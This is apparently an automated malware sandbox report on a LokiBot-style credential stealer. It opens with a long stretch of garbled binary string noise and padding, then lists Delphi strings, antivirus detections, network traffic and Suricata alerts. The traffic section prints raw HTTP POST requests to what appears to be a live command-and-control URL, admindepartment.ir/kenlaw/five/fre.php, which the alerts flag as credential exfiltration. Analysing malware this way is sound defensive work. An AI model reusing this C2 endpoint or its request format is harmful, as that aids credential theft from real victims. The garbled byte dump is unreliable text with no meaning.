GGGGGGG
PA$%CN
GSGGGGGGG
4.)GGGGGGG1
yGGGGGGG
,bGGGGGGG=
+:}C<
yLGGGGGGG
GGGGGGGz
ZlqE.
1TGGGGGGGN
Rp6I,4ac
GGGGGGG
GGGGGGG
GGGGGGG{
_Lu,%
GGGGGGGHx
DGGGGGGGv
GGGGGGG
xh,yJWU
718DU
fw$${
.GGGGGGG
H5x8J]
GGGGGGG
~6q,,S
%OD(F
HQGGGGGGG
TlY].r
GGGGGGG
9iePA
2kt:]
GGGGGGG4
GGGGGGG
GGGGGGG
RGGGGGGG
GGGGGGG
GGGGGGG
GGGGGGG
J,|:FY
GGGGGGG
Kk:Ao
GGGGGGG
GGGGGGG
GGGGGGG}|
GGGGGGG
-GGGGGGGf$z
GGGGGGGU
GGGGGGG;~{
&eq\x
GGGGGGG
GV86x
"GGGGGGGec
GGGGGGGbB
PAFSE
8GGGGGGG,
GGGGGGG
GGGGGGG/I\
.4#e8c
GGGGGGG=
S3GGGGGGG
hGGGGGGG
GGGGGGG
GGGGGGG
GGGGGGG
zGGGGGGGa_
3.a?GGGGGGG
GGGGGGG5r
J_-Zs
GGGGGGG
z1nGGGGGGG
_GGGGGGGS<
K*>Gj
GGGGGGG
GGGGGGG[
GGGGGGG
GGGGGGG
GGGGGGG
g(_HT^d#3
GGGGGGG
GGGGGGG2
eGGGGGGG
3GGGGGGGP
D7gqj*
GGGGGGG
GGGGGGGg
t}d|7
GGGGGGG
GGGGGGG
GGGGGGG7
oI-*S
GGGGGGGr8P
?nIKpP
~0{5|
A6v1GGGGGPAGG
GGGGGGG,@D
kGGGGGGG
GGGGGGG'
GGGGGGG
9$#h#
GGGGGGG
BPL?Zq
GGGGGGG
YV""%=
.GGGGGGG
pq>z=T
)GGGGGGG
GGGGGGGS
GGGGGGGu
GGGGGGG
GGGGGGG
N/GGGGGGG
GGGGGGG
GGGGGGGR
GGGGGGG
GGGGGGG
)GGGGGGG
GGGGGGG
p'J;G
CGGGGGGG
GGGGGGG,
>kb6,
GGGGGGG
L[GGGGGGG
GGGGGGG
GGGGGGG
GGGGGGG
`x~1t
GGGGGGG
YGGGGGGG:
GGGGGGG
GGGGGGG
GGGGGGG8
GGGGGGG1
GGGGGGGF
SGGGGGGG
Q&GGGGGGG
V:GGGGGGG
RWV#GGGGGGG
0J/4Y
GGGGGGGy3W
^GGGGGGG
GGGGGGGS
+GGGGGGG$p
GGGGGGG_c
GGGGGGGl
]GGGGGGG
nHK'\;
OGGGGGGG
#ju)l
GGGGGGGZx
GGGGGGG
GGGGGGG
3wHJ}
GGGGGGG
*pyv4.
GGGGGGG
[GGGGGGGd
GGGGGGGw
GGGGGGG
GGGGGGG'}
GGGGGGG
(s9jQ
GGGGGGG
GGGGGGG
GGGGGGG
-GGGGGGG
gwxrG
=GGGGGGGl
GGGGGGG
GGGGGGG
GGGGGGG\,
GGGGGGG
]GGGGGGG
PAnd|T
!GGGGGGG
GGGGGGG
GGGGGGG
GGGGGGG
^Bl88
GGGGGGG(
s` S]
GGGGGGGK
6QEsPA
GGGGGGG
GGGGGGG
F9^GGGGGGG
3=*3p
GGGGGGG
GGGGGGG
GGGGGGG
0GGGGGPAGG!
\<GGGGGGG
GGGGGGG
GGGGGGG
4:GGGGGGG%r
GGGGGGGX
GGGGGGG
#GGGGGGG
GGGGGGG
1dGGGGGGGv?
GGGGGGG
t]GGGGGGG
WGGGGGGG
}XGGGGGGG'
GGGGGGG
GGGGGGG
6GGGGGGG
5Xgdjx
AGGGGGGG[
GGGGGGG
GGGGGGG
GGGGGGG~
FGGGGGGGr
GGGGGGG
e5r,d
3GGGGGGG#z
GGGGGGG
GGGGGGG4
GGGGGGG
sGGGGGGG
hDGGGGGGG|
GGGGGGG
GGGGGGGQ.
GGGGGGG
GGGGGGG
GGGGGGG
GGGGGGG
?6Z+6
GGGGGGG
oV6c-P
GGGGGGGA
lGGGGGGG
FyukS
GGGGGGG$
l*GGGGGGG
GGGGGGGJ8Q
GGGGGGG
F}8/w
eGGGGGGG
d{ZGGGGGGG
ELGGGGGGGi
VgxQ&)
GGGGGGG >
GGGGGGGd
GGGGGGG
!v,qE6
GGGGGGG
x!Los
cGGGGGGG
^6xt&~
TYp5C
kLGGGGGGGWL$]y
GGGGGGGu
6JnSy
GGGGGGG"
GGGGGGG
GGGGGGGj3z_
lxGGGGGGG
GGGGGGG
GGGGGGG
GGGGGGG
GGGGGGGp
aA+;4(
GGGGGGG
G3GGGGGGG
GGGGGGG|pbiS
DGGGGGGGm
GGGGGGG
GGGGGGG
GGGGGGG
UfBPAJ>
GGGGGGG
GGGGGGG
Vx9YGGGGGGG
)hFGGGGGGG](
GGGGGGG
'xGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGPAGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGPAGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGPAGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGPAGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGPAGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGPAGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGPAGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGPAGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGPAGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGPAGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGPAD
7Project1
YIdThreadMgrPool
uIdGlobal
IdStackWindows
IdException
System
SysInit
SysUtils
KWindows
UTypes
SysConst
|IdResourceStrings
^Classes
"RTLConsts
3Messages
CVariants
$VarUtils
QTypInfo
sActiveX
yIdStack
@IdStackConsts
)IdWinSock2
8Registry
IniFiles
EIdURI
SyncObjs
IdThread
%IdThreadMgr
+IdTCPServer
IdStrings
IdThreadSafe
IdComponent
IdAntiFreezeBase
IdBaseComponent
mIdSocketHandle
IdTCPConnection
IdStream
IdTCPStream
IdIntercept
BIdIOHandler
IdRFCReply
yIdIOHandlerSocket
jIdSocks
IdAssignedNumbers
IdThreadMgrDefault
IdServerIOHandler
&IdServerIOHandlerSocket
FlatSB
WinHelpViewer
RHelpIntfs
Contnrs
EActnList
Forms
Printers
Consts
WWinSpool
+Graphics
CommCtrl
StdActns
Clipbrd
YStrUtils
*ShellAPI
&Controls
5Themes
nComCtrls
ComStrs
ExtActns
0Mapi
dStdCtrls
vMenus
ImgList
Dialogs
ExtCtrls
IDlgs
3CommDlg
(ShlObj
RegStr
?WinInet
UrlMon
ExtDlgs
Buttons
CUxTheme
RichEdit
ToolWin
ListActns
MultiMon
Unit1
TForm1
Form1
Width
Height
Caption
4lEbTnyH6q9HTvFWfK32kWranFZ0iXk1tUfDDYMuJuCSx6N3uAXdN
Color
clBtnFace
Font.Charset
DEFAULT_CHARSET
Font.Color
clWindowText
Font.Height
Font.Name
MS Sans Serif
Font.Style
OldCreateOrder
PixelsPerInch
TextHeight
TDateTimePicker
DateTimePicker1
Width
Height
TabOrder
TMonthCalendar
MonthCalendar1
Width
Height
TabOrder
THotKey
HotKey1
Width
Height
HotKey
TabOrder
TUpDown
UpDown1
Width
Height
TabOrder
TIdThreadMgrPool
IdThreadMgrPool1
TOpenDialog
OpenDialog1
PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPAD
jjjjjj
ebutton
clock
combobox
explorerbar
header
listview
progress
rebar
scrollbar
startpanel
status
taskband
taskbar
toolbar
tooltip
trackbar
traynotify
treeview
window
jjjjj
jjjjj
jjjjj
jjjjj
jjjjj
jjjjj
jjjjj
jjjjj
jjjjj
jjjjj
jjjjj
BBABORT
BBALL
BBCANCEL
BBCLOSE
BBHELP
BBIGNORE
BBRETRY
BBYES
PREVIEWGLYPH
DLGTEMPLATE
DVCLAL
PACKAGEINFO
TFORM1
MAINICON
MS Sans Serif
Connection timed out.
Connection refused."Too many levels of symbolic links.
File name too long.
Host is down.
No route to host.
Directory not empty
Host not found.
Socket type not supported."Operation not supported on socket.
Protocol family not supported.0Address family not supported by protocol family.
Address already in use. Cannot assign requested address.
Network is down.
Network is unreachable. Net dropped connection or reset.!Software caused connection abort.
Connection reset by peer.
No buffer space available.
Socket is already connected.
Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.
Socket Error # %d
Interrupted system call.
Bad file number.
Access denied.
Bad address.
Invalid argument.
Too many open files.
Operation would block.
Operation now in progress.
Operation already in progress.
Socket operation on non-socket.
Destination address required.
Message too long.
Protocol wrong type for socket.
Bad protocol option.
Protocol not supported.
%Failed to set maximum selection range$Failed to set calendar min/max range%Failed to set calendar selected range
No help keyword specified.
Winsock Initialization Error.
Set Size Exceeded.
Thread Class Not Specified.*Error on call Winsock2 library function %s&Error on loading Winsock2 library (%s)
Resolving hostname %s.
Connecting to %s.
Connected.
Disconnecting.
Disconnected.
%s is not a valid service.
Info Text
Menu Background
Menu Text
Scroll Bar
3D Dark Shadow
3D Light
Window Background
Window Frame
Window Text %s is already associated with %s=This control requires version 4.70 or greater of COMCTL32.DLL
Date exceeds maximum of %s
Date is less than minimum of %s4You must be in ShowCheckbox mode to set to this date#Failed to set calendar date or time
Active Caption
Application Workspace
Background
Button Face
Button Highlight
Button Shadow
Button Text
Caption Text
Default
Gray Text
Highlight Background
Highlight Text
Inactive Border
Inactive Caption
Inactive Caption Text
Info Background
Purple
Silver
Yellow
Fuchsia
White
Money Green
Sky Blue
Cream
Medium Gray
Active Border
Alt+ Clipboard does not support Icons/Menu '%s' is already being used by another form
Docked control must have a name%Error removing control from dock tree
- Dock zone not found
- Dock zone has no control"Unable to find a Table of Contents
No help found for %s#No context-sensitive help installed$No topic-based help system installed
Black
Maroon
Green
Olive
Enter
Space
Right
Shift+
Ctrl+
Warning
Error
Information
Confirm
Cancel
&Help
&Abort
&Retry
&Ignore
N&o to All
Yes to &All
Sub-menu is not in menu
Not enough timers [email protected] cannot be less than a previous menu item's GroupIndex5Cannot create form. No MDI forms are currently active*A control cannot have itself as its parent
Cancel
&Help
&Close
&Ignore
&Retry
Abort
Cannot drag a form
Out of system resources
Canvas does not allow drawing
Invalid image size
Invalid ImageList
Invalid ImageList Index)Failed to read ImageList data from stream(Failed to write ImageList data to stream$Error creating window device context
Error creating window class+Cannot focus a disabled or invisible window!Control '%s' has no parent window
Cannot hide an MDI Child Form)Cannot change Visible in OnShow or OnHide"Cannot make a visible window modal
Menu index out of range
Menu inserted twice
List index out of bounds (%d)+Out of memory while expanding memory stream
Error reading %s%s%s: %s
Stream read error
Property is read-only
Resource %s not found
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
Property %s does not exist
Stream write error
Thread Error: %s (%d)
Bitmap image is not valid
Icon image is not valid!Cannot change the size of an icon
Unsupported clipboard format
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
Class %s not found
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Cannot open file "%s". %s
Invalid stream format$''%s'' is not a valid component name
Invalid property path
Invalid property value List capacity out of bounds (%d)
List count out of bounds (%d)
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
Ancestor for '%s' not found
Cannot assign a %s to a %s
January
February
March
April
August
September
October
November
December
Assertion failed
Interface not supported
Exception in safecall method
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
A call to an OS function failed
Write$Error creating variant or safe array)Variant or safe array index out of bounds
Variant or safe array is locked
Invalid variant type conversion
Invalid variant operation%Invalid variant operation (%s%.8x)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Variant overflow
Invalid argument
Invalid variant type
Operation not supported
Unexpected variant error
External exception %x
Invalid floating point operation
Floating point division by zero
Floating point overflow
Floating point underflow
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Access violation
Stack overflow
Control-C hit
Privileged instruction(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
!'%s' is not a valid integer value!'%s' is not a valid date and time
Invalid argument to time encode
Invalid argument to date encode
Out of memory
I/O error %d
File not found
Invalid filename
Too many open files
File access denied
Read beyond end of file
Disk full
Invalid numeric input
Division by zero
Range check error
Integer overflow

Full Results

Engine Signature Engine Signature Engine Signature
Bkav W32.AIDetectVM.malware2 DrWeb Clean MicroWorld-eScan Gen:Variant.Zusy.307895
FireEye Generic.mg.eb1d8bf22b67e366 CAT-QuickHeal Clean McAfee Fareit-FTB!EB1D8BF22B67
Cylance Unsafe Zillya Clean SUPERAntiSpyware Clean
Sangfor Clean K7AntiVirus Clean Alibaba Clean
K7GW Trojan ( 00569c031 ) Cybereason malicious.16e2a7 Arcabit Trojan.Zusy.D4B2B7
Invincea heuristic BitDefenderTheta Gen:[email protected] Cyren W32/Injector.ABY.gen!Eldorado
Symantec ML.Attribute.HighConfidence ESET-NOD32 a variant of Win32/Injector.EMNJ Zoner Clean
TrendMicro-HouseCall Clean TotalDefense Clean Avast Clean
ClamAV Clean Kaspersky HEUR:Trojan-Downloader.Win32.Adload.gen BitDefender Gen:Variant.Zusy.307895
NANO-Antivirus Clean Paloalto Clean ViRobot Clean
Tencent Clean Ad-Aware Gen:Variant.Zusy.307895 Emsisoft Gen:Variant.Zusy.307895 (B)
Comodo Clean F-Secure Clean Baidu Clean
VIPRE Clean TrendMicro Clean Fortinet W32/Injector.ELXR!tr
Trapmine malicious.moderate.ml.score CMC Clean Sophos Clean
Ikarus Trojan.Inject F-Prot W32/Injector.ABY.gen!Eldorado Jiangmin Clean
Webroot Clean Avira Clean MAX malware (ai score=85)
Antiy-AVL Trojan[PSW]/Win32.Chisburg Kingsoft Clean Endgame malicious (high confidence)
Microsoft Trojan:Win32/Pwsteal.Q!bit AegisLab Clean ZoneAlarm HEUR:Trojan-Downloader.Win32.Adload.gen
Avast-Mobile Clean Cynet Malicious (score: 100) AhnLab-V3 Clean
Acronis suspicious VBA32 Clean TACHYON Clean
Malwarebytes Trojan.MalPack.DLF APEX Malicious Rising Trojan.Injector!1.AFE3 (RDMK:cmRtazrhIvm928VaqaDOurhQ3ilX)
Yandex Clean SentinelOne DFI - Malicious PE eGambit Unsafe.AI_Score_90%
GData Gen:Variant.Zusy.307895 MaxSecure Clean AVG Clean
Panda Trj/Genetic.gen CrowdStrike win/malicious_confidence_80% (D) Qihoo-360 HEUR/QVM05.1.40EA.Malware.Gen
Sorry! No behavior.

Hosts

Direct IP Country Name
Y 8.8.8.8 [VT] United States
Y 52.114.128.43 [VT] United States
N 185.207.38.108 [VT] Turkey
Y 1.1.1.1 [VT] Australia

TCP

Source Source Port Destination Destination Port
192.168.1.8 49173 13.107.42.23 443
192.168.1.8 49175 13.107.42.23 443
192.168.1.8 49190 185.207.38.108 admindepartment.ir 80
192.168.1.8 49194 185.207.38.108 admindepartment.ir 80
192.168.1.8 49195 185.207.38.108 admindepartment.ir 80
192.168.1.8 49196 185.207.38.108 admindepartment.ir 80
192.168.1.8 49197 185.207.38.108 admindepartment.ir 80
192.168.1.8 49198 185.207.38.108 admindepartment.ir 80
192.168.1.8 49199 185.207.38.108 admindepartment.ir 80
192.168.1.8 63449 52.114.128.43 8909
192.168.1.8 43009 52.114.128.43 24467
192.168.1.8 38229 52.114.128.43 52427
192.168.1.8 49191 67.27.153.254 80

UDP

Source Source Port Destination Destination Port
192.168.1.8 55051 1.1.1.1 53
192.168.1.8 63471 1.1.1.1 53
192.168.1.8 137 192.168.1.255 137
192.168.1.8 49744 8.8.8.8 53
192.168.1.8 51064 8.8.8.8 53
192.168.1.8 52398 8.8.8.8 53
192.168.1.8 55051 8.8.8.8 53
192.168.1.8 56571 8.8.8.8 53
192.168.1.8 61380 8.8.8.8 53
192.168.1.8 63225 8.8.8.8 53
192.168.1.8 63471 8.8.8.8 53
192.168.1.8 65129 8.8.8.8 53

DNS

Name Response Post-Analysis Lookup
admindepartment.ir [VT] A 185.207.38.108 [VT] 185.207.38.108 [VT]

HTTP Requests

URI Data
http://admindepartment.ir/kenlaw/five/fre.php
POST /kenlaw/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: admindepartment.ir
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: 15478CF8
Content-Length: 186
Connection: close

http://admindepartment.ir/kenlaw/five/fre.php
POST /kenlaw/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: admindepartment.ir
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: 15478CF8
Content-Length: 159
Connection: close

SMTP traffic

No SMTP traffic performed.

IRC traffic

No IRC requests performed.

ICMP traffic

Source Destination ICMP Type Data
192.168.1.8 1.1.1.1 3
192.168.1.8 1.1.1.1 3
192.168.1.8 1.1.1.1 3
192.168.1.8 8.8.8.8 3
192.168.1.8 8.8.8.8 3
192.168.1.8 8.8.8.8 3
192.168.1.8 8.8.8.8 3
192.168.1.8 8.8.8.8 3

CIF Results

No CIF Results

Suricata Alerts

Timestamp Source IP Source Port Destination IP Destination Port Protocol GID SID REV Signature Category Severity
2020-06-30 13:48:58.721 192.168.1.8 [VT] 49172 13.107.42.23 [VT] 443 TCP 1 2028395 2 ET JA3 Hash - Possible Malware - Various Eitest Unknown Traffic 3
2020-06-30 13:48:58.914 192.168.1.8 [VT] 49173 13.107.42.23 [VT] 443 TCP 1 2028395 2 ET JA3 Hash - Possible Malware - Various Eitest Unknown Traffic 3
2020-06-30 13:48:58.916 192.168.1.8 [VT] 49174 13.107.42.23 [VT] 443 TCP 1 2028395 2 ET JA3 Hash - Possible Malware - Various Eitest Unknown Traffic 3
2020-06-30 13:48:58.934 192.168.1.8 [VT] 49176 13.107.42.23 [VT] 443 TCP 1 2028395 2 ET JA3 Hash - Possible Malware - Various Eitest Unknown Traffic 3
2020-06-30 13:48:59.027 192.168.1.8 [VT] 49175 13.107.42.23 [VT] 443 TCP 1 2028395 2 ET JA3 Hash - Possible Malware - Various Eitest Unknown Traffic 3
2020-06-30 13:50:25.226 192.168.1.8 [VT] 49190 185.207.38.108 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-06-30 13:50:25.226 192.168.1.8 [VT] 49190 185.207.38.108 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-06-30 13:50:40.227 192.168.1.8 [VT] 49190 185.207.38.108 [VT] 80 TCP 1 2024312 3 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 A Network Trojan was detected 1
2020-06-30 13:50:40.227 192.168.1.8 [VT] 49190 185.207.38.108 [VT] 80 TCP 1 2024317 3 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M2 A Network Trojan was detected 1
2020-06-30 13:50:45.413 192.168.1.8 [VT] 49194 185.207.38.108 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-06-30 13:50:45.413 192.168.1.8 [VT] 49194 185.207.38.108 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-06-30 13:51:00.194 192.168.1.8 [VT] 49194 185.207.38.108 [VT] 80 TCP 1 2024312 3 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 A Network Trojan was detected 1
2020-06-30 13:51:00.194 192.168.1.8 [VT] 49194 185.207.38.108 [VT] 80 TCP 1 2024317 3 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M2 A Network Trojan was detected 1
2020-06-30 13:51:06.371 192.168.1.8 [VT] 49195 185.207.38.108 [VT] 80 TCP 1 2021641 7 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected 1
2020-06-30 13:51:06.371 192.168.1.8 [VT] 49195 185.207.38.108 [VT] 80 TCP 1 2025381 5 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected 1
2020-06-30 13:51:21.179 192.168.1.8 [VT] 49195 185.207.38.108 [VT] 80 TCP 1 2024313 4 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected 1
